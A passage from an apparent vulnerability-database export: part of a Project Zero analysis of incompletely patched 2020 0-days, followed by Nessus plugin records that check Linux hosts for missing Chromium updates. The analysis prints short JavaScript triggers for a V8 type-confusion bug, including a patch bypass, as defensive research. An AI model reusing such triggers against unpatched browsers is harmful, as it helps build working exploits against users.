Charstring Font Format. The blend operation takes n + 1 parameters. The vulnerability is that it did not validate or handle correctly when n is negative, allowing the font to arbitrarily read and write on the native interpreter stack. \n\n[CVE-2020-27930](<https://support.apple.com/en-us/HT211929>), the vulnerability exploited in-the-wild in 2020, is very similar. The vulnerability this time is in the callothersubr operator in Apple\u2019s implementation of Adobe\u2019s Type 1 Charstring Font Format. In the same way as the vulnerability reported in November 2014, callothersubr expects n arguments from the stack. However, the function did not validate nor handle correctly negative values of n, leading to the same outcome of arbitrary stack read/write. \n\nSix years after the original vulnerability was reported, a similar vulnerability was exploited in a different project. This presents an interesting question: How do related, but separate, projects stay up-to-date on security vulnerabilities that likely exist in their fork of a common code base? There\u2019s little doubt that reviewing the vulnerability Microsoft fixed in 2015 would help the attackers discover this vulnerability in Apple.\n\n# Exploited 0-days not properly fixed\u2026 \ud83d\ude2d\n\nThree vulnerabilities that were exploited in-the-wild were not properly fixed after they were reported to the vendor. \n\nProduct\n\n| \n\nVulnerability that was exploited in-the-wild\n\n| \n\n2nd patch \n \n---|---|--- \n \nInternet Explorer\n\n| \n\nCVE-2020-0674\n\n| \n\nCVE-2020-0968 \n \nGoogle Chrome\n\n| \n\nCVE-2019-13764*\n\n| \n\nCVE-2020-6383 \n \nMicrosoft Windows\n\n| \n\nCVE-2020-0986\n\n| \n\nCVE-2020-17008/CVE-2021-1648 \n \n* when CVE-2019-13764 was patched, it was not known to be exploited in-the-wild \n \n## Internet Explorer JScript CVE-2020-0674\n\nIn the section above, we detailed the timeline of the Internet Explorer JScript vulnerabilities that were exploited in-the-wild. After the most recent vulnerability, CVE-2020-0674, was exploited in January 2020, it still didn\u2019t comprehensively fix all of the variants. Microsoft patched [CVE-2020-0968](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-0968>) in April 2020. We show the trigger in the section above.\n\n## Google Chrome CVE-2019-13674\n\n[CVE-2019-13674](<https://chromereleases.googleblog.com/2019/12/stable-channel-update-for-desktop.html>) in Chrome is an interesting case. When it was [patched in November 2019](<https://chromium.googlesource.com/v8/v8/+/b8b6075021ade0969c6b8de9459cd34163f7dbe1>), it was not known to be exploited in-the-wild. Instead, [it was reported by security researchers Soyeon Park and Wen Xu](<https://bugs.chromium.org/p/chromium/issues/detail?id=1028863>). Three months later, in February 2020, Sergei Glazunov of Project Zero discovered that it was exploited in-the-wild, and may have been exploited as a 0-day prior to the patch. When Sergei realized it had already been patched, he decided to look a little closer at the patch. That\u2019s when he realized that the patch didn\u2019t fix all of the paths to trigger the vulnerability. To read about the vulnerability and the subsequent patches in greater detail, check out Sergei\u2019s blog post, \u201c[Chrome Infinity Bug](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html>)\u201d. \n\nTo summarize, the vulnerability is a type confusion in Chrome\u2019s v8 Javascript engine. The issue is in the function that is designed to compute the type of induction variables, the variable that gets increased or decreased by a fixed amount in each iteration of a loop, such as a for loop. The algorithm works only on v8\u2019s integer type though. The integer type in v8 includes a few special values, +Infinity and -Infinity. -0 and NaN do not belong to the integer type though. Another interesting aspect to v8\u2019s integer type is that it is not closed under addition meaning that adding two integers doesn\u2019t always result in an integer. An example of this is +Infinity + -Infinity = NaN. \n\nTherefore, the following line is sufficient to trigger CVE-2019-13674. Note that this line will not show any observable crash effects and the road to making this vulnerability exploitable is quite long, check out [this blog post](<https://googleprojectzero.blogspot.com/>) if you\u2019re interested! \n\nfor (var i = -Infinity; i < 0; i += Infinity) { } \n \n--- \n \n[The patch](<https://chromium.googlesource.com/v8/v8.git/+/b8b6075021ade0969c6b8de9459cd34163f7dbe1>) that Chrome released for this vulnerability added an explicit check for the NaN case. But the patch made an assumption that leads to it being insufficient: that the loop variable can only become NaN if the sum or difference of the initial value of the variable and the increment is NaN. The issue is that the value of the increment can change inside the loop body. Therefore the following trigger would still work even after the patch was applied.\n\nvar increment = -Infinity;\n\nvar k = 0;\n\n// The initial loop value is 0 and the increment is -Infinity.\n\n// This is permissible because 0 + -Infinity = -Infinity, an integer.\n\nfor (var i = 0; i < 1; i += increment) {\n\nif (i == -Infinity) {\n\n// Once the initial variable equals -Infinity (one loop through)\n\n// the increment is changed to +Infinity. -Infinity + +Infinity = NaN\n\nincrement = +Infinity;\n\n}\n\nif (++k > 10) {\n\nbreak;\n\n}\n\n} \n \n--- \n \nTo \u201crevive\u201d the entire exploit, the attacker only needed to change a couple of lines in the trigger to have another working 0-day. [This incomplete fix was reported](<https://bugs.chromium.org/p/chromium/issues/detail?id=1051017>) to Chrome in February 2020. [This patch](<https://chromium.googlesource.com/v8/v8.git/+/a2e971c56d1c46f7c71ccaf33057057308cc8484>) was more conservative: it bailed as soon as the type detected that increment can be +Infinity or -Infinity. \n\nUnfortunately, this patch introduced an additional security vulnerability, which allowed for a wider choice of possible \u201ctype confusions\u201d. Again, check out [Sergei\u2019s blog post](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html>) if you\u2019re interested in more details. \n\nThis is an example where the exploit is found after the bug was initially reported by security researchers. As an aside, I think this shows why it\u2019s important to work towards \u201ccorrect & comprehensive\u201d patches in general, not just vulnerabilities known to be exploited in-the-wild. The security industry [knows there is a detection gap](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>) in our ability to detect 0-days exploited in-the-wild. We don\u2019t find and detect all exploited 0-days and we certainly don\u2019t find them all in a timely manner. \n\n## Windows splwow64 CVE-2020-0986\n\nThis vulnerability has already been discussed in the previous section on variants. After [Kaspersky reported that CVE-2020-0986 was actively exploited](<https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/>) as a 0-day, I began performing root cause analysis and variant analysis on the vulnerability. The vulnerability was patched in June 2020, but it was only[ disclosed as exploited in-the-wild in August 2020](<https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/>). \n\nMicrosoft\u2019s patch for CVE-2020-0986 replaced the raw pointers that an attacker could previously send through the LPC message, with offsets. This didn\u2019t fix the root cause vulnerability, just changed how an attacker would trigger the vulnerability. [This issue was reported](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2096>) to Microsoft in September 2020, including a working trigger. Microsoft released a more complete patch for the vulnerability in January 2021, four months later. This new patch checks that all memcpy operations are only reading from and copying into the buffer of the message.\n\n# Correct and comprehensive patches\n\nWe\u2019ve detailed how six 0-days that were exploited in-the-wild in 2020 were closely related to vulnerabilities that had been seen previously. We also showed how three vulnerabilities that were exploited in-the-wild were either not fixed correctly or not fixed comprehensively when patched this year. \n\nWhen 0-day exploits are detected in-the-wild, it\u2019s the failure case for an attacker. It\u2019s a gift for us security defenders to learn as much as we can and take actions to ensure that that vector can\u2019t be used again. The goal is to force attackers to start from scratch each time we detect one of their exploits: they\u2019re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. To do that, we need correct and comprehensive fixes. \n\nBeing able to correctly and comprehensively patch isn't just flicking a switch: it requires investment, prioritization, and planning. It also requires developing a patching process that balances both protecting users quickly and ensuring it is comprehensive, which can at times be in tension. While we expect that none of this will come as a surprise to security teams in an organization, this analysis is a good reminder that there is still more work to be done.\n\nExactly what investments are likely required depends on each unique situation, but we see some common themes around staffing/resourcing, incentive structures, process maturity, automation/testing, release cadence, and partnerships.\n\nWhile the aim is that one day all vulnerabilities will be fixed correctly and comprehensively, each step we take in that direction will make it harder for attackers to exploit 0-days.\n\nIn 2021, Project Zero will continue completing root cause and variant analyses for vulnerabilities reported as in-the-wild. We will also be looking over the patches for these exploited vulnerabilities with more scrutiny. We hope to also expand our work into variant analysis work on other vulnerabilities as well. We hope more researchers will join us in this work. (If you\u2019re an aspiring vulnerability researcher, variant analysis could be a great way to begin building your skills! Here are two conference talks on the topic: [my talk at BluehatIL 2020](<https://www.youtube.com/watch?v=mC1Pwsdy814>) and [Ki Chan Ahn at OffensiveCon 2020](<https://www.youtube.com/watch?v=fTNzylTMYks>).)\n\nIn addition, we would really like to work more closely with vendors on patches and mitigations prior to the patch being released. We often have ideas of how issues can be addressed. Early collaboration and offering feedback during the patch design and implementation process is good for everyone. Researchers and vendors alike can save time, resources, and energy by working together, rather than patch diffing a binary after release and realizing the vulnerability was not completely fixed.\n", "modified": "2021-02-03T00:00:00", "published": "2021-02-03T00:00:00", "id": "GOOGLEPROJECTZERO:A596034F451F58030932B2FC46FB6F38", "href": "https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html", "type": "googleprojectzero", "title": "\nD\u00e9j\u00e0 vu-lnerability\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2020-05-31T20:29:32", "description": "An update for chromium-browser is now available for Red Hat Enterprise\nLinux 6 Supplementary.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Critical. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nChromium is an open source web browser, powered by WebKit (Blink).\n\nThis update upgrades Chromium to version 79.0.3945.79.\n\nSecurity Fix(es) :\n\n* chromium-browser: Use after free in Bluetooth (CVE-2019-13725)\n\n* chromium-browser: Heap buffer overflow in password manager\n(CVE-2019-13726)\n\n* chromium-browser: Insufficient policy enforcement in WebSockets\n(CVE-2019-13727)\n\n* chromium-browser: Out of bounds write in V8 (CVE-2019-13728)\n\n* chromium-browser: Use after free in WebSockets (CVE-2019-13729)\n\n* chromium-browser: Type Confusion in V8 (CVE-2019-13730)\n\n* chromium-browser: Use after free in WebAudio (CVE-2019-13732)\n\n* chromium-browser: Out of bounds write in SQLite (CVE-2019-13734)\n\n* chromium-browser: Out of bounds write in V8 (CVE-2019-13735)\n\n* chromium-browser: Type Confusion in V8 (CVE-2019-13764)\n\n* chromium-browser: Integer overflow in PDFium (CVE-2019-13736)\n\n* chromium-browser: Insufficient policy enforcement in autocomplete\n(CVE-2019-13737)\n\n* chromium-browser: Insufficient policy enforcement in navigation\n(CVE-2019-13738)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13739)\n\n* chromium-browser: Incorrect security UI in sharing (CVE-2019-13740)\n\n* chromium-browser: Insufficient validation of untrusted input in\nBlink (CVE-2019-13741)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13742)\n\n* chromium-browser: Incorrect security UI in external protocol\nhandling (CVE-2019-13743)\n\n* chromium-browser: Insufficient policy enforcement in cookies\n(CVE-2019-13744)\n\n* chromium-browser: Insufficient policy enforcement in audio\n(CVE-2019-13745)\n\n* chromium-browser: Insufficient policy enforcement in Omnibox\n(CVE-2019-13746)\n\n* chromium-browser: Uninitialized Use in rendering (CVE-2019-13747)\n\n* chromium-browser: Insufficient policy enforcement in developer tools\n(CVE-2019-13748)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13749)\n\n* chromium-browser: Insufficient data validation in SQLite\n(CVE-2019-13750)\n\n* chromium-browser: Uninitialized Use in SQLite (CVE-2019-13751)\n\n* chromium-browser: Out of bounds read in SQLite (CVE-2019-13752)\n\n* chromium-browser: Out of bounds read in SQLite (CVE-2019-13753)\n\n* chromium-browser: Insufficient policy enforcement in extensions\n(CVE-2019-13754)\n\n* chromium-browser: Insufficient policy enforcement in extensions\n(CVE-2019-13755)\n\n* chromium-browser: Incorrect security UI in printing (CVE-2019-13756)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13757)\n\n* chromium-browser: Insufficient policy enforcement in navigation\n(CVE-2019-13758)\n\n* chromium-browser: Incorrect security UI in interstitials\n(CVE-2019-13759)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13761)\n\n* chromium-browser: Insufficient policy enforcement in downloads\n(CVE-2019-13762)\n\n* chromium-browser: Insufficient policy enforcement in payments\n(CVE-2019-13763)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, acknowledgments, and other related information, refer to\nthe CVE page(s) listed in the References section.", "edition": 8, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2019-12-18T00:00:00", "title": "RHEL 6 : chromium-browser (RHSA-2019:4238)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "modified": "2019-12-18T00:00:00", "cpe": ["p-cpe:/a:redhat:enterprise_linux:chromium-browser-debuginfo", "p-cpe:/a:redhat:enterprise_linux:chromium-browser", "cpe:/o:redhat:enterprise_linux:6"], "id": "REDHAT-RHSA-2019-4238.NASL", "href": "https://www.tenable.com/plugins/nessus/132228", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2019:4238. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(132228);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/05/29\");\n\n script_cve_id(\"CVE-2019-13725\", \"CVE-2019-13726\", \"CVE-2019-13727\", \"CVE-2019-13728\", \"CVE-2019-13729\", \"CVE-2019-13730\", \"CVE-2019-13732\", \"CVE-2019-13734\", \"CVE-2019-13735\", \"CVE-2019-13736\", \"CVE-2019-13737\", \"CVE-2019-13738\", \"CVE-2019-13739\", \"CVE-2019-13740\", \"CVE-2019-13741\", \"CVE-2019-13742\", \"CVE-2019-13743\", \"CVE-2019-13744\", \"CVE-2019-13745\", \"CVE-2019-13746\", \"CVE-2019-13747\", \"CVE-2019-13748\", \"CVE-2019-13749\", \"CVE-2019-13750\", \"CVE-2019-13751\", \"CVE-2019-13752\", \"CVE-2019-13753\", \"CVE-2019-13754\", \"CVE-2019-13755\", \"CVE-2019-13756\", \"CVE-2019-13757\", \"CVE-2019-13758\", \"CVE-2019-13759\", \"CVE-2019-13761\", \"CVE-2019-13762\", \"CVE-2019-13763\", \"CVE-2019-13764\");\n script_xref(name:\"RHSA\", value:\"2019:4238\");\n\n script_name(english:\"RHEL 6 : chromium-browser (RHSA-2019:4238)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"An update for chromium-browser is now available for Red Hat Enterprise\nLinux 6 Supplementary.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Critical. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nChromium is an open source web browser, powered by WebKit (Blink).\n\nThis update upgrades Chromium to version 79.0.3945.79.\n\nSecurity Fix(es) :\n\n* chromium-browser: Use after free in Bluetooth (CVE-2019-13725)\n\n* chromium-browser: Heap buffer overflow in password manager\n(CVE-2019-13726)\n\n* chromium-browser: Insufficient policy enforcement in WebSockets\n(CVE-2019-13727)\n\n* chromium-browser: Out of bounds write in V8 (CVE-2019-13728)\n\n* chromium-browser: Use after free in WebSockets (CVE-2019-13729)\n\n* chromium-browser: Type Confusion in V8 (CVE-2019-13730)\n\n* chromium-browser: Use after free in WebAudio (CVE-2019-13732)\n\n* chromium-browser: Out of bounds write in SQLite (CVE-2019-13734)\n\n* chromium-browser: Out of bounds write in V8 (CVE-2019-13735)\n\n* chromium-browser: Type Confusion in V8 (CVE-2019-13764)\n\n* chromium-browser: Integer overflow in PDFium (CVE-2019-13736)\n\n* chromium-browser: Insufficient policy enforcement in autocomplete\n(CVE-2019-13737)\n\n* chromium-browser: Insufficient policy enforcement in navigation\n(CVE-2019-13738)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13739)\n\n* chromium-browser: Incorrect security UI in sharing (CVE-2019-13740)\n\n* chromium-browser: Insufficient validation of untrusted input in\nBlink (CVE-2019-13741)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13742)\n\n* chromium-browser: Incorrect security UI in external protocol\nhandling (CVE-2019-13743)\n\n* chromium-browser: Insufficient policy enforcement in cookies\n(CVE-2019-13744)\n\n* chromium-browser: Insufficient policy enforcement in audio\n(CVE-2019-13745)\n\n* chromium-browser: Insufficient policy enforcement in Omnibox\n(CVE-2019-13746)\n\n* chromium-browser: Uninitialized Use in rendering (CVE-2019-13747)\n\n* chromium-browser: Insufficient policy enforcement in developer tools\n(CVE-2019-13748)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13749)\n\n* chromium-browser: Insufficient data validation in SQLite\n(CVE-2019-13750)\n\n* chromium-browser: Uninitialized Use in SQLite (CVE-2019-13751)\n\n* chromium-browser: Out of bounds read in SQLite (CVE-2019-13752)\n\n* chromium-browser: Out of bounds read in SQLite (CVE-2019-13753)\n\n* chromium-browser: Insufficient policy enforcement in extensions\n(CVE-2019-13754)\n\n* chromium-browser: Insufficient policy enforcement in extensions\n(CVE-2019-13755)\n\n* chromium-browser: Incorrect security UI in printing (CVE-2019-13756)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13757)\n\n* chromium-browser: Insufficient policy enforcement in navigation\n(CVE-2019-13758)\n\n* chromium-browser: Incorrect security UI in interstitials\n(CVE-2019-13759)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13761)\n\n* chromium-browser: Insufficient policy enforcement in downloads\n(CVE-2019-13762)\n\n* chromium-browser: Insufficient policy enforcement in payments\n(CVE-2019-13763)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, acknowledgments, and other related information, refer to\nthe CVE page(s) listed in the References section.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/errata/RHSA-2019:4238\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13725\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13726\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13727\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13728\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13729\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13730\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13732\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13734\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13735\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13736\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13737\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13738\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13739\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13740\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13741\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13742\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13743\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13744\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13745\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13746\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13747\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13748\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13749\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13750\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13751\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13752\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13753\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13754\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13755\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13756\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13757\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13758\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13759\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13761\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13762\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13763\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-13764\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"Update the affected chromium-browser and / or\nchromium-browser-debuginfo packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:chromium-browser\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:chromium-browser-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/10\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/12/16\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 6.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2019:4238\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"chromium-browser-79.0.3945.79-1.el6_10\", allowmaj:TRUE)) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"chromium-browser-79.0.3945.79-1.el6_10\", allowmaj:TRUE)) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"chromium-browser-debuginfo-79.0.3945.79-1.el6_10\", allowmaj:TRUE)) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"chromium-browser-debuginfo-79.0.3945.79-1.el6_10\", allowmaj:TRUE)) flag++;\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"chromium-browser / chromium-browser-debuginfo\");\n }\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-05-31T17:53:45", "description": "Update to Chromium 79. Fixes the usual giant pile of bugs and security\nissues. This time, the list is :\n\nCVE-2019-13725 CVE-2019-13726 CVE-2019-13727 CVE-2019-13728\nCVE-2019-13729 CVE-2019-13730 CVE-2019-13732 CVE-2019-13734\nCVE-2019-13735 CVE-2019-13764 CVE-2019-13736 CVE-2019-13737\nCVE-2019-13738 CVE-2019-13739 CVE-2019-13740 CVE-2019-13741\nCVE-2019-13742 CVE-2019-13743 CVE-2019-13744 CVE-2019-13745\nCVE-2019-13746 CVE-2019-13747 CVE-2019-13748 CVE-2019-13749\nCVE-2019-13750 CVE-2019-13751 CVE-2019-13752 CVE-2019-13753\nCVE-2019-13754 CVE-2019-13755 CVE-2019-13756 CVE-2019-13757\nCVE-2019-13758 CVE-2019-13759 CVE-2019-13761 CVE-2019-13762\nCVE-2019-13763\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 8, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2019-12-18T00:00:00", "title": "Fedora 31 : chromium (2019-1a10c04281)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "modified": "2019-12-18T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:chromium", "cpe:/o:fedoraproject:fedora:31"], "id": "FEDORA_2019-1A10C04281.NASL", "href": "https://www.tenable.com/plugins/nessus/132111", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security 